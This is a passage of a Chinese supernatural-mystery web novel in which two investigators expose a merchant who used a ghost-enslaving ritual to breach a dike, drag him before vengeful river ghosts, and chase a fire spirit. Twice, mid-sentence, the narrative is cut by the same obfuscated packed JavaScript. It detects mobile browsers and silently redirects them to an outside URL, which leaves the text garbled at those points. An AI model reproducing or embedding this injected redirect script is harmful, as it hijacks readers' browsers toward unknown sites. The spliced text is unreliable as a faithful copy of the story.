“寻常的‘五鬼搬运术’只需要召唤附近的魂魄做交易即可。但这个‘鬼役浑天法’是这类术法中级别最高、也最残忍的一种,属于上古禁术,因此普通方术志中都禁止记载。 只有一些偏门左道或者古老的玄门典籍中会有提及。我是因为在师父珍藏的典籍中读到过提及其危害的记载,才知道的。 施行‘鬼役浑天法’需要施法者找到七具横死的尸体,而且都必须在连续七天的同一时辰、同一地点死亡。” 听到这里,霍彦先面沉如水。光是集齐这七具横死的尸体,只有故意杀人才做得到。 阿婵继续说道:“七鬼集齐后,需要施法者在他们死亡的那个时辰设七星役鬼祭坛,将七鬼的生辰八字分别写在七道‘役鬼符’上,摆成七星阵,持续念咒一个时辰,而后焚烧符纸,才能保证七鬼的怨气完全被封印。 最后,还得写一道祭文,上面要写明“所求何事,并唤七鬼姓名,各鬼应声现于前。”才能保证七鬼为施法者所役使。 但重点是,每一次运用‘鬼役浑天法’,都会对杀害七人的真正凶手产生反噬作用。 其实‘五鬼搬运法’也会反噬,但一般人用五鬼搬运法,也就是求小财,或搬一些寻常的重物,那些用了五鬼搬运法的人,短期可能确实会走财运,但最终其实损害的是自己的寿数。 只是,大多数愿意用此法的人,只追求眼前的小利,不去考虑长远的未来,就算之后遭到反噬,可能也想不到是因为这个,因此‘五鬼搬运法’的弊病几乎没人提起。 而且,他们也不会像陈富仲一样丧心病狂,居然想到用此法术制造水患。 像他这种强行将堤坝撕开一个口子,类似移山之举,就算是鬼魂的能力也有限,人干活多了尚且怨气很重,更何况是鬼。 而且这种草菅人命的造孽事,鬼魂承受的孽力远远要比帮人搬运财物多得多。 鬼魂的怨气越大,对正主的反噬作用就越强。要么就硬着头皮承受,要么就得想办法将鬼魂的怨气压下去。” 霍彦先沉默听完,阴沉着脸总结:“所以第一次决堤,是妖道帮陈富仲用‘五鬼搬运法’将松土虫搬运至堤坝中,致使土质变松,最后决堤。虽然成功了,但由于死者的怨气非常大,所以反噬了陈富仲和他的儿子。” 阿婵点头,“反噬很强烈,我看到陈富仲的状态很不寻常,他儿子尸体的脖颈上,有明显的黑色丝带痕迹,当时不知道是为什么,现在想来,应该就是这次五鬼反噬带来的。” “那他还敢进行第二次,不怕反噬让他儿子再也复活不了吗?”霍彦先提出疑问。 “我推测,这次决口处的大量的铜钱,并不是陈富仲主要想搬运的东西,而是单独给七鬼的祭品。决堤之后,铜钱会被水冲进江中,供七鬼平息怨气。这一次反噬应该不会那么强烈。 而且第一次决堤,之所以堤坝裂缝很严重但没有造成大规模的伤亡,应该也是由于刚才咱们在水下看到的那样,是林慎之、伍幔青在用自己的力量将决口修复。” 霍彦先捋顺思路:“第一次决堤,由于林伍二人的阻止,并没有达到陈富仲的预期,他的儿子不仅没有复活,尸体还遭到了反噬,因此他才策划了第二次决堤。 这一次,他决定用破坏性更大的火药,争取一次成功,而这也注定七鬼的怨念更强,反噬作用更大。 为了减少反噬,妖道告诉陈富仲,可以用大量铜钱混入火药一起搬运,决堤后铜钱进入江中,刚好祭祀五鬼,这样就能减少反噬。” “没错,陈富仲家里最不缺的就是钱,用钱买命的勾当,他应该最得心应手,林伍二人以及连续四起溺亡案,或许也是用钱买来的命。”阿婵继续说道。 “还有个问题,如果林伍二人第一次阻止了决堤,那么五鬼搬运法就缺了两个,凑不齐五个,为什么还起了效果?” 阿婵思索了一下,“或许还有溺亡者没有被发现,寻常的五鬼搬运法要求没有那么严格,只要随便召唤五个魂魄即可,哪怕林伍二人不配合,周围那么多孤魂野鬼,再找两个也不难。 不过,现在这些也都是我们的推测而已,具体还需要陈富仲亲口承认才行。现在当务之急,是要找到帮他施法的游方道士。 那妖道绝对邪门,像这种伤天害理的法术,正经道士哪里会答应帮忙,而且牡丹花妖也曾受到他的伤害,一上来就夺精怪的内丹,也不是寻常方士捉妖的准则。 这妖道结识陈富仲短短不到半个月,就搞出这么多事,或许说明这些事对他来说不过是冰山一角,之前可能做过更多,之后也会继续,此人留着是个大祸害,必须赶紧除掉。”阿婵眼中充满担忧。 二人一番计较后,霍彦先不顾内伤,亲自去牢中审问陈富仲。 *** 富州都督府大牢。 阴暗、潮湿的牢房内,木头刑架上,绑着一个苍老落魄的老叟,凌乱花白的头发,混沌的眼神,如果不是衣着绣金、华贵异常,很难让人联想到这个人就是富州第一.大粮商——陈富仲。 “草民认罪,愿一死抵罪……草民认罪,愿一死抵罪……” 整个牢房里都回荡着陈富仲歇斯底里的呢.喃。 霍彦先长身而立,在牢房外观察审讯过程,越看面色越凝重。 等到这一回合的审讯结束,负责审讯的谢禹走出来禀报: “大人,陈富仲已经亲口承认,花妖杀了他儿子陈怀思,他为了让儿子还魂,请了法术极高的道士助他两次策划炸毁堤坝,用生魂献祭,但问到是谁帮他实施的,他绝口不说。我们已经用了各种审讯的办法,但是……” 谢禹面露难色。他是此次跟随霍彦先来到富州城的绣衣察事司司众里最擅长审讯的一员。经他审讯的犯人,基本很难不开口讲真话。很少有让他觉得棘手的情况。 霍彦先听他的回报,跟阿婵和他的推测基本都吻合,但刚才的审讯之中,他也意识到陈富仲身上的不寻常之处,或许是被五鬼和七鬼反噬造成的。 他示意谢禹继续说。 谢禹只好硬着头皮道:“他死活不说是谁帮他实施的损毁堤坝的法术。属下认为,此人心智似乎已经被控制住,很难通过咱们惯常的审讯方法让他开口。” 心智被控制?这又是另外一个方向。 霍彦先很信任谢禹的审讯能力,并不想为难他,便让他开锁,自进入牢房。 陈富仲见到眼前的人,耷拉的眼皮终于掀了起来,浑浊的眼珠眯起,流露出嘲讽的意味,嘴上却惊恐地重复着:“草民认罪,愿一死抵罪……” 他整张脸似乎被分.裂成了两半,分别由不同的人控制着,扭曲又诡异。 霍彦先嘴角微扬:“别急,你刚才经历了第三轮审讯,谢禹或许还没来得及告诉你,在绣衣察事司,最难的,就是求死。” 陈富仲充耳不闻,始终神情诡异地重复着那句:“草民认罪,愿一死抵罪……草民认罪,愿一死抵罪……” 霍彦先直接卸了他的下巴,让他说不出话。 陈富仲吃痛,嚎叫起来,浑身颤.抖。 霍彦先将陈富仲眼前凌乱的头发撩到一旁,在他耳旁说道:“没有人跟你说过,有时候认罪认得太痛快,也非常惹人怀疑么?” 陈富仲颤.抖的身子倏然一僵,但随即恢复颤.抖和嚎叫。 这一切没有逃过霍彦先的眼睛:“你儿子还没有复活,你却老老实实束手就擒,一心求死,你觉得,我会相信吗?” 他将陈富仲的下巴合上,同时说道:“我不管你是演的,还是真的被人控制了心志,我要知道,你背后那个会鬼役浑天法的妖道是谁?” 听到“鬼役浑天法”五个字,霎时间,陈富仲仿佛被戳中了什么,撕去了伪装,满眼只剩下恶毒。 他咧嘴嘿嘿一笑:“没有人能阻止我儿复活……没有人能阻止我儿复活……” 随即又似浑身被雷击中,恢复怯懦地嗫嚅:“草民认罪,愿一死抵罪……草民认罪,愿一死抵罪……” 疯了,但没完全疯。 醒了,也没完全醒。 霍彦先也不恼,退后几步,心平气和地叫人将陈富仲从牢中提出来,“来人,将他带到江边。” 陈富仲被五花大绑押解出牢房,一路重复着:“没有人能够阻止我儿复活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949475|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……没有人能阻止我儿复活……” *** 阿婵伫立江边,早已等候多时。 见到陈富仲来了,她立刻问霍彦先:“如何?他承认了吗?” 霍彦先点点头:“一切正如我们的推测,但他不肯说出那妖道的下落。 但目前,我还不能确定是他纯粹嘴硬,还是被鬼魂反噬,或者像谢禹所推测,有可能那妖道真的控制了他的心智。你可以一会儿再分辨一下。 如果是后者,那妖道将陈怀思还魂可能只是借口,陈富仲也只是背锅,这背后恐怕还有更大的图谋,到时候就不止富州城百姓遭殃。所以,就按原计划,还需你来下一剂猛药。” 原来,二人此前推测时,便料到陈富仲不会善罢甘休,一计不成,再施一计,他为了儿子不惜草菅人命,倾尽家财,一定会想尽办法达到让陈怀思复活的目的。 因此,阿婵和霍彦先一致认为第二次决堤不是结束。 只是不知道,他的下一招会在什么时候到。 所以必须尽快抓到那妖道,以防事态进一步恶化。 但现在看陈富仲这架势,不知道是演的,还是被反噬,抑或是“被封口”,看样子也问不出什么来,所以霍彦先干脆不问了。 他们将陈富仲绑到船上,什么也不说,就一直沿着荔南江边绕圈。 陈富仲一直“装疯卖傻”,他们便一直在船上陪着,绕了四五圈,直到初昏时分,一直坐在陈富仲旁边的谢禹突然道:“大人,脉搏变快了。” 旁边的霍彦先一直盯着陈富仲,仔细观察他的神态变化,此刻只说了一句:“扔下去。” 陈富仲还没来得及反应,整个人便已被扔到江中。 !!! 此刻,陈富仲终于露出了清醒又意外又极度害怕的神色。 “咳……救……命咳……”他被绑着,手不能动,只能用脚拼命踩水,刚被扔下来时还呛了几口水,一边踩水一边咳嗽,慌乱非常。 阿婵冲霍彦先竖起大拇指:“绣衣察事司果然名不虚传!” 原来,霍彦先之所以不跟陈富仲废话,就是因为看出他即使严刑逼供也不会吐露妖道所在之处,因此,便换了对策。 绣衣察事司虽以“沉命司”闻名,但审讯犯人,并不是只有严刑拷打这一种方式。 甚至,严刑拷打这种很可能造成屈打成招的方式,在绣衣察事司的审讯方式中属于最下乘。 朝臣之所以称其“沉命司”,这种刻板印象的主要来源,还是在于绣衣察事司对于已经罪证确凿的重刑犯,才会采取极刑。因为他们犯下的罪恶,连极刑都不足以惩罚。 而霍彦先最喜欢的审讯方式,还是“攻心”。 既然阿婵说陈富仲两次“请”来的五鬼和七鬼在江中,那么便合理怀疑,陈富仲是亲自将精心选中的几名受害者杀害之后,投入江中。 而既然施法所要求的杀害行为,必须由他本人来操作,那么他在故地重游之时,一定会产生回忆,回忆带来的情绪波动,最容易反映到表情和脉搏上。 因此,观察其表情变化,测量其脉搏快慢,便可大概推测,此地有可能是抛.尸之地。 省时省力,兵不血刃。 当然,这也只是霍彦先验证自己推测的其中一个办法,因为表情、脉搏有变化,也只能代表陈富仲与这个地方有关联,但并不能推测出他具体在这里干了些什么。 所以,后续的验证,还需要阿婵帮忙,这也是她为何会提前在江边等候的原因。 两人早已做好部署,陈富仲这个“饵”已放入水中,只静待“鱼”上钩。 此刻,洪水退去,雨后放晴,江面平和。 水波轻漾,映着夕阳,波光粼粼,江上只有一舟、一船人,以及疯狂踩水挣.扎的陈富仲。 随着他扑腾的水花四溅,水面渐渐起了变化。 有什么东西被陈富仲吸引而来,环绕在他四周,形成了一个漩涡,在江面卷起水汽,越来越快地旋转,继而在水上水下,都形成了小型的水龙卷。 “来了。”阿婵轻声道,水面反射的夕阳金光有些晃眼,但她的目光一错不错地盯着江面。 “鱼”来了,不是一条,是十二条。 十二条人命。 是被陈富仲“精心挑选”,沉尸江中的十二个受害者。 一直说“江伥”,其实他们的魂魄,才是真正的“江伥”——江中伥鬼。 徘徊在江中,找不到替身,无法转世投胎,还要被迫承受“五鬼搬运法”和“鬼役浑天法”的巨大孽力,他们早已怨气冲天。 此刻,最完美的替身来了。 陈富仲。 还有谁比他更适合做他们的替身呢? 众鬼制造的漩涡,裹挟着巨大的怨念,向陈富仲席卷而去。 28. 形势突变 江面风云搅动,乌云几乎压迫到了江边,漩涡卷着水汽以摧枯拉朽之势袭来,水腥味铺天盖地,水面上形成了一个巨大的腔体,水汽极速旋转着,将陈富仲包围在中心点。 阿婵和霍彦先他们的船,因为离陈富仲太近,也进入了包围圈。水汽形成旋转的幕墙,但转速快到极限,竟给人一种十分平静的错觉。 但身处其中的人,会感受到这种“平静”的假象带来的压迫感: 水汽磅礴伴着鱼腥,仿佛无形之中有只手扼住了每个人的喉咙,胸口处闷痛异常,努力吸气却发现怎么也喘不过气。 陈富仲踩水的步伐彻底凌乱,改在水中乱蹬。 从看到这个位置,船停下的那一刻起,他便知道这个异象是冲着他来的,他极力想要摆脱这个恐怖的巨型水腔,但没有任何反抗之力,他被迫卷入水腔。 水腔急剧缩小、缩小、再缩小,很快就如蚕茧一般只将陈富仲裹挟其中。 人在极速旋转下,根本就没有办法再进行任何思考,眩晕、麻木、窒息、被撕扯,很快陈富仲就感觉自己的魂魄和身体已经分离,模模糊糊失去了意识。 顷刻间,巨型水腔像蛇一样卷着陈富仲“钻”入水下,在水底形成漩涡,因为水深的缘故,漩涡黑洞洞的。 每一个看到这个漩涡的人都会觉得脊背发凉,莫名的恐惧,好似那是一只填满了无穷无尽怨毒的眼,盯着你,等你自己送上门,将你吞噬。 而阿婵和霍彦先的船距离陈富仲仅两尺开外,却丝毫未受到影响。 船上,绣衣察事司司众鸦雀无声,所有人似乎静止了一般。 他们眼睁睁看着陈富仲被卷入幽深无尽的深渊之中,悄无声息,都暗戳戳地起了一身鸡皮疙瘩。 众人经历过常年艰苦的训练,通过了司中严酷的考核,见惯了各种极刑折磨人的惨状,但这个水中巨型空腔依旧令他们毛骨悚然。 冯鹤延和谭胥生在一边更是呆若木鸡,差点吓尿了裤子,没想到看别人受刑比自己受刑还恐怖! 一个人知道自己即将面对什么酷刑,固然害怕,固然痛苦,但这种恐惧和痛苦总会提前有一个心里预设。 但这个巨型水腔和漩涡带给你的压迫感、窒息感,与所有他们认知中的酷刑都不同。 常听到说厉鬼索命,等到现下亲眼看到,才觉得如此震撼。 谭胥生瞬间觉得朔勒给他的蛊虫都不算太过分了。 片刻后,水面恢复平静,所有人才如梦初醒,他们似乎一直风平浪静地待在水面上,众鬼闹出如此大的动静,他们的船竟然纹丝不动。 绣衣察事司众人内心骇然,这可不是他们随随便便运用千斤坠就可以抵挡的漩涡,甚至比决堤那天还要声势浩大。 他们不禁悄悄俯身去看船身上贴的几张符纸,心想这样薄薄几片黄纸竟有如此功效,女高人真是太恐怖了,怪不得之前大人的脑袋在女高人手里随便摇晃,大人都不敢动,搁谁谁敢啊! “小心别掉下去。”阿婵贴心提示。 众人赶紧正襟危坐。 霍彦先咳嗽了一下,掩饰饶是自己见多识广也没有见过这种场面的尴尬,小声问阿婵:“人,还能活着捞上来吗?” 阿婵见他语气中甚至带了些小心翼翼,噗嗤一笑:“放心吧霍大人,只是略施小惩而已,他还得活到我们抓到妖道的那一刻。” 霍彦先着实是捏了一把冷汗。 本来和阿婵说好,让众鬼吓唬一下陈富仲,只要吓到他能将妖道藏身之处和下一步计划说出来便好,谁想到阿婵的“略施小惩”竟然玩这么大,亏她还说这次会“温柔”一些。 比起她来,他平时折磨人的路数还算是温柔了! 阿婵解释完便闭起双眼,调整气息,手指微动,手中立刻出现五张符纸。 符纸好似有人用绳子牵引一般,几乎是贴着船身悄悄“爬”到了船舷,悄悄没入水中。 这一切,悄无声息。 随后,霍彦先听到阿婵口中念念有词,声音很低,那是一段晦涩难懂的咒语。 霍彦先听不太懂,但结尾的话他明白,大致意思是,阿婵与众鬼缔结契约,承诺它们,一定会将陈富仲绳之以法,为它们报仇,请它们暂时将陈富仲交还,因为他可能会害死更多无辜的人,现在还需要陈富仲活着,帮助破案。 这是在与众鬼谈判呢。霍彦先本以为会是阿婵暴力施法直接将陈富仲弄上来,好吧,现在看来,她这一次确实是“温柔”了一些。 俗话说,冤有头,债有主。凡鬼碰到害死自己的凶手,都不会轻易放过,尤其是冤魂索命。 而阿婵现在的举动,无异于与鬼抢人,还是在怨气如此深重的厉鬼手下抢,难度可想而知。 虽然说让众鬼把陈富仲活着换回来的理由,在霍彦先他们看来很充分,但厉鬼毕竟已经死掉了,破不破活人的案跟他们关系也不大,而它们只要手刃仇人就可原地投胎,这样送上门的大好机会就在眼前,众鬼真的愿意把陈富仲还回来吗? 霍彦先习惯对所有事情保持质疑,但当他闪过对阿婵这样的质疑时,他就知道,这个想法不对。 其实在阿婵和他商量将陈富仲扔到江中吸引众鬼这件事的可行性时,他就下意识地选择相信她。 他相信阿婵可以说服众鬼放弃手撕陈富仲的机会,配合他们查案。 而霍彦先也不知道这样下意识的信任从何而来。或许是在仙昙村阿婵顶着天雷火焰,走向鱼妖帮它将内丹与小宝的魂魄分开时,他就已经决定信任她。 究其根本,还是因为阿婵对付妖物的本领实在强大,这些鬼怪无论愿不愿意,都得配合她。 他也不是没见过一些道家高人驱鬼捉妖,但像阿婵这种次次阵仗这么大,不仅全身而退,甚至还能游刃有余的,他还从未见过。 霍彦先在阿婵的碎碎念中胡思乱想,突然,水面又起了变化。 巨大的水中空腔再现,直接将陈富仲喷到了空中,但没有人接着他,阿婵就静静坐在那里。 陈富仲直接横着拍在了水面上,虽然人还在昏迷中,但这一拍水还是让他直接喷了血。 冯鹤延和谭胥生被绣衣察事司的人当做挡箭牌,溅了一头一脸的水。 阿婵这才不急不忙用山蜘蛛丝将陈富仲钓了上来。 霍彦先赶紧观察,见陈富仲还有呼吸,悬着的心才放下。 阿婵冷眼旁观,看着陈富仲一会儿吐血、一会儿吐水,一点都没有要帮忙的意思。 半晌,陈富仲悠悠转醒,但醒了之后又哭又笑,已经从入水之前的半疯,变成几乎全疯。 虽不知道他在水下经历了什么,但看这个样子,显然被众鬼折磨得不轻,一醒来就将自己以往的罪行,呼啦哗啦有如竹筒倒豆一般,全部说了出来。 不仅包括两次制造水患,甚至还有自己背着夫人搞了几个外室;为了谋取更多利润,在粮铺故意用“出入升”缺斤短两地卖粮; 用发霉的粮食冒充优质粮食结果吃死了人,最后买通冯鹤延睁一只眼闭一只眼……等等罄竹难书的恶行罪状,他通通不遮不掩痛痛快快全部说了出来。 好像少说了一个字或者说得慢了一点,就有人火烧他的屁.股一般,说得那叫一个口沫横飞、涕泗横流、真情实感。 要不知道陈富仲的本性,还真会以为他是诚心悔过,认罪自裁,重新做人了。 冯鹤延听陈富仲好端端地陈述自己的罪状,竟然又提到了自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955410|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己,再看看霍彦先看自己的眼神,心又凉了半截,默默将陈富仲骂了八百回。 众人耐着性子听了半天,直到陈富仲将自己的所有罪行重复了三遍,唯独就是不说妖道藏身之所,以及后续是否还有别的阴谋诡计,仿佛这件事从来不曾存在于他的记忆中。 不管怎么盘问都不说。 霍彦先和阿婵越听脸色越沉,几个绣衣察事司的人生怕自家大人和女高人一生气又把陈富仲扔下去,为了留下犯人活口以便后续定罪量刑,他们赶紧捂住陈富仲的嘴,让他留条命去牢里再继续说。 霍彦先转头审讯冯鹤延和谭胥生,问他们有没有见过陈富仲口中那个妖道。 二人生怕自己也被扔水里去,哪敢不说实话,无比真诚地说自己没有见过,看霍彦先怀疑的眼神,恨不得挖心掏肝以证明自己说的千真万确。 而后,一行人便上了岸。 霍彦先对阿婵道:“目前没有别的办法了吗?” 阿婵摇摇头:“现在看来,众鬼反噬只是让陈富仲稍微疯了一些,但妖道的确应该是用术法将陈富仲脑海中关于自己的关键记忆全部隐瞒了,所以陈富仲不是不想说,而是现在确实不知道。 看起来陈富仲和陈怀思都只是被妖道所利用,这个妖道,才是无论如何,都要制造水患的人。” 霍彦先面色凝重,不知道这妖道是不是也是朔勒派来的,但问过谭胥生,他也表示不知道,所以目前线索还是断了。 阿婵继续道:“你我所有的线索目前也都汇集在陈富仲这里,如果他不开口,那就真的没有别的办法了,只能等。” “应该不会太久。”霍彦先看着平和的江面道。 阿婵点点头,这么大的动静,就算妖道藏得深,看不到听不见,也不可能感知不到众鬼身上的变化。 只要妖道还没放弃,还想继续捣毁堤坝,就一定会有所动作,而且,绝不会给他们喘息的机会。 霍彦先转身安排绣衣察事司的人回去禀报三皇子,并且迅速通知富州城乃至荔南府全府境内的绣衣暗侯和行走全部待命,最高级别警戒。 此时夜幕低垂,无风无星,云压得低低的,江岸两边有不少救灾善后的官兵和百姓,所有人都有一种透不过气的闷感,空气紧绷着。 大家都不约而同地感觉,事情还没结束,不知道前方等待着的,又会是怎样的灾难。 阿婵没有参与霍彦先那边的事,自顾自找了岸边一棵巨粗无比的树,将山蜘蛛丝牢牢地绕了几圈,贴了张符箓在打结处。 刚准备坐下抓紧时间盘算一下,无意中抬头望向堤坝的方向。 夜空中,似有一缕幽微的荧荧鬼火在飘荡。其行踪之飘忽迅疾,会让人觉得只是眼前一花,出现了幻觉。 “这么快就来了!”阿婵赶紧喊还在安排事情的霍彦先。 霍彦先急命绣衣察事司司众全力护住重要人犯,自己转头向阿婵那边三步并作两步冲过去。 “依计二行事!” 虽然知道不会等太久,但这也太快了! 跑动间,霍彦先已从怀中取出一个罕见的微型弓弩,将一只浸过朱砂狗血,周身画满符咒花纹的袖珍箭矢递给阿婵,同时眼睛紧紧盯着鬼火飘荡的路线。 阿婵一边与他同向而行,一边迅速将手中的山蜘蛛丝紧紧绑在袖珍弓弩的箭头上。 “霍大人,箭法够准吧?不然我可就要炸成江上烟花啦!” 阿婵边跑边说,同时手上迅速起势捏诀,水中波澜已起。 霍彦先将箭矢放在弩槽内,拉紧弓弦,瞄准空中的那缕鬼火,随之不停朝堤坝方向移动,边跑边扬声对阿婵说: “放心,你要是炸成烟花,我跳江给你陪葬!” 29. 大大的见面礼 “嗖”地一声,一道箭矢在夜空中划出一道淡金色的流线。 正是霍彦先的第一发箭。 但由于灶火妖飞驰的速度比寻常飞鸟快得多,而且身上的光极其微弱,寻常人几乎察觉不到。 就算看到了,可能也只是觉得眼花了一下的程度,这或许就是为什么堤坝巡防的官兵第二次决堤前,灶火妖引燃堤坝没有察觉到异常的原因。 哪怕霍彦先目力过人,骑射准头在军中也数一数二,仓促间面对移动速度极快的灶火妖,也没有办法保证一击即中。 这一箭,射偏了。 灶火妖继续从坐落在东南角的富安佛塔后方掠过,向堤坝飞驰。 好在霍彦先和阿婵之前就预料到了这种情况,目前灶火妖离堤坝尚有一段距离,他们还有机会。 阿婵推测,既然妖道用了鬼役浑天法搬运火药,必然需要引燃。 如果派人去引燃,定然逃不过巡防官兵中混入的绣衣暗侯的视线,因为霍彦先安排的暗侯几乎可以做到在堤坝四周都没有监视死角。 那么,只有一种可能,就是妖道也役使了精怪妖鬼引燃火药。 针对这种情况,阿婵和霍彦先也专门做了准备。 如果精怪妖鬼从堤坝东侧过来,早在那边埋伏的牡丹花妖,会帮忙监视并发出信号;而如果是在他们所在的堤坝西侧,潜伏在水中的江伥和岸边的阿婵就会发现。 果不其然,被他们料中,确实是灶火妖帮助引燃。 由于破解妖道搬运火药的术法,需要阿婵临场看情况才能做出判断并施法,她刚才与众鬼谈判后,直接在江边坐下准备推算反击对策,可没想到对面如此没有耐心,这么快就行动了。 她没有时间了! 好在之前阿婵就已想到,如果有突发状况,自己的推算又需要复杂的计算,无法分心,那么对付引燃妖鬼的重任,就只能落在牡丹花妖、江伥和霍彦先其中的一位身上。 牡丹花妖在堤坝东侧,江伥的活动范围仅限江中,而且要照顾到整个江域视角,如果妖鬼从荔南江南侧民居这边出现,就只有霍彦先可以灵活应对。 虽然霍彦先并不会术法,但他在绣衣察事司摸爬滚打多年,无论骑射能力还是反应能力都十分强悍。 尽管阿婵并不完全信任霍彦先的能力,哪怕是霍彦先去狱中提审陈富仲之前,给她私下展示了自己弩箭连发、十发十中的功力,还有一箭将正中靶心的箭矢劈成两半之后,又随手打下了空中的飞鸟,阿婵也存疑,因为显然,引燃的妖鬼移动速度肯定要比飞鸟快得多。 但最终,阿婵还是选择了相信霍彦先,毕竟在活人这个范畴里,整个富州城现在已经找不到能比霍彦先射箭更准的了。 在霍彦先提审陈富仲之时,阿婵提前到江边,请求牡丹花妖和江伥能够策应他们。 为了能给林慎之和伍幔青报仇,牡丹花妖自然是一口答应。 而江伥生前就以保家卫国为己任,在战场上冲锋陷阵,一听阿婵的请求,二话没说立马答应下来。 打仗什么的,他老本行啊,虽然一条腿没了,但变成江伥之后,他闲得无聊日夜精研战术战法,只是富州城一直岁月静好没有施展的地方,现在有了这个机会,它绝对不能错过! 阿婵也各给了牡丹花妖和江伥一个她用术法精心“浸润”过的微型弓弩,和霍彦先的一样,如果是江伥和花妖瞄准引燃妖鬼的话,以它们的修为,射中应该不是难事。 只是,如今灶火妖真的从江水南岸民居这边过来,不在江伥花妖的策应范围之内。 那便只有霍彦先一人可策应阿婵。 霍彦先一击未中,立马继续向佛塔与堤坝之间的夹角方向全速奔去,寻求最佳的射弩角度。 “箭来!”霍彦先冲着阿婵喊。 阿婵此刻沿江边和霍彦先并行移动。见此状况,默念口诀,绑着山蜘蛛丝的箭矢便又回到了霍彦先手中。 这山蜘蛛丝也算妖物的一种,可以随阿婵心意调整长短,躲避障碍,十分灵活。 此刻阿婵将山蜘蛛丝全部交给霍彦先,一头在霍彦先手中,一头在绑在射出去的箭头上,如若没有射中,霍彦先喊她,她便念诀让山蜘蛛丝自行带着箭回到霍彦先手中。 阿婵一边与霍彦先配合并行飞奔,一边看着江面情况,脑中迅速推演盘算应对妖道攻击之策。 第二箭! 霍彦先一把接过自行飞回的蛛丝箭矢,一边将箭矢重新搭入弩槽,同时飞身跃上江岸边的一座二层酒楼的楼顶,侧身发出一箭。 贴着符咒和浸了朱砂狗血的箭矢,发出淡金色光芒,再一次贴着淡淡荧黄的灶火妖擦身而过。 该死! 霍彦先心中怒骂。 为了找到最好的射箭角度,他侧身出去时脚底在屋顶砖瓦一滑,整个人几乎跌下去。 情急之下,他直接内力下坠一脚踏破屋顶瓦片,生生用脚踝卡在屋顶,阻止自己滚下去。 斜向下倒的一瞬间,霍彦先腾出搭箭的手,用力一撑屋顶瓦片,将身子回正,同时拔脚出来,总算能继续沿着屋顶追击灶火妖。 阿婵在地面,霍彦先在屋顶,两人一低一高,全速并行。 屋顶的视角就开朗了许多。霍彦先在一间间鳞次栉比的屋顶之间飞身跳跃,继续追踪灶火妖。 灶火妖离堤坝更近了,眼看就要穿过佛塔废墟,残垣断壁阻挡视线,更加不容易射中,但他必须要给阿婵留够充足的时间! “霍彦先!你真要把我炸成烟花啊!”阿婵的声音从楼下传来,怒气十足。 前面就是佛塔废墟了,穿过去就是堤坝,不知道有多少火药已经被妖道搬到堤坝来了! “准备!”霍彦先冲她大吼。 霍彦先心中默默计算着距离和角度。 下一个屋檐尽头,就是佛塔废墟,残存的五层佛塔仿佛从中间被劈开,靠近堤坝的一侧几乎只剩三层裸.露在外的砖木结构,参差不齐,随时都有再塌陷的危险。 已经极其接近! 一路向东的霍彦先,与从南偏东方向飞驰而来的灶火妖,几乎同时到达佛塔废墟周围。 霍彦先不作他想,到了屋檐尽头,直接飞身跃上佛塔废墟,双脚借力蹬在裸.露的砖石上,几下便轻巧腾跃到了塔身之上。 只是,他每往上跃一丈,废墟的砖石就被蹬得粉碎下坠,跌进黑暗之中哗啦作响。 顷刻间,霍彦先已如灵猴般攀缘到佛塔废墟最上方,已再无可以借力向上的地方,同时,前方视角一览无余。 灶火妖近在眼前! 此刻霍彦先全神贯注,手搭弓弩,算准角度,将全身内力灌注双脚,用力一蹬。 这一脚的力道太大,本就摇摇欲坠的三层佛塔废墟再也支撑不住,几乎全部倾塌,霍彦先整个身体由此得以反向倾斜。 他一边向后坠去,一边终于找到了弓弩最好的发射角度。 金色的箭矢甚至发出尖锐的破空之声,瞬间直插灶火妖身上。 中了! 灶火妖霎时发出剧烈抖动,但它丝毫没有停留,继续向堤坝的方向飞驰。 “霍彦先!” 阿婵眼看着佛塔废墟轰然倒塌,再次看到熟悉的身影从高空坠落向江面。 霍彦先下坠的那一刻,便放开了山蜘蛛丝,冲阿婵大吼一声:“接下来靠你了——” 阿婵眼见霍彦先从高空下坠,熟悉的场景再现,心脏猛地一沉。 但这次,她再没时间想其他的,因为灶火妖马上就要引燃堤坝了! 她眼中发狠,默念口诀,霍彦先手中抛下的山蜘蛛丝瞬间回到她手上,她将其往身边的石桥上一抛,山蜘蛛丝立即自行缠绕在桥柱之上。 山蜘蛛丝的另一头绑在射中灶火妖的箭矢上,此时正由灶火妖带着往堤坝飞,而山蜘蛛丝又可以随阿婵的心意缩短,所以此刻蛛丝两端不断紧缩,直到绷直形成一道桥。 阿婵足尖轻点,踏着蛛丝桥,凌空向着灶火妖直奔而去。 佛塔废墟再次倒塌传来的巨响,将很多百姓惊得跑到街道上,由于塌方声音过大,没有人注意到还有个人从废墟上扑通一声掉进了江中。 但所有人都看到 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那是阿婵在陈富仲被众鬼拖下水时悄悄放置的符箓,可以感知众鬼的动作。 阿婵和霍彦先之前所做的一切,都是为了现在这一刻。 他们俩的性子都不喜欢坐以待毙,而且他们习惯算计别人,但是被别人算计了就很难受。所以,与其被动等着妖道的下一步动作,不如主动出击。 于是霍、婵二人才合计布了一个局,主动用陈富仲引出众鬼,惊动妖道,看其反应,引其入局。 先前在江边,阿婵让陈富仲引众鬼出来,目的并非只是为了折磨他,而是要在众鬼身上放入她的感应符箓。 霍彦先费那么大力气射中灶火妖,不是为了将其射杀,而是方便阿婵用山蜘蛛丝搭桥,以最快的速度接近引燃点。 这一切,就是为了此时。 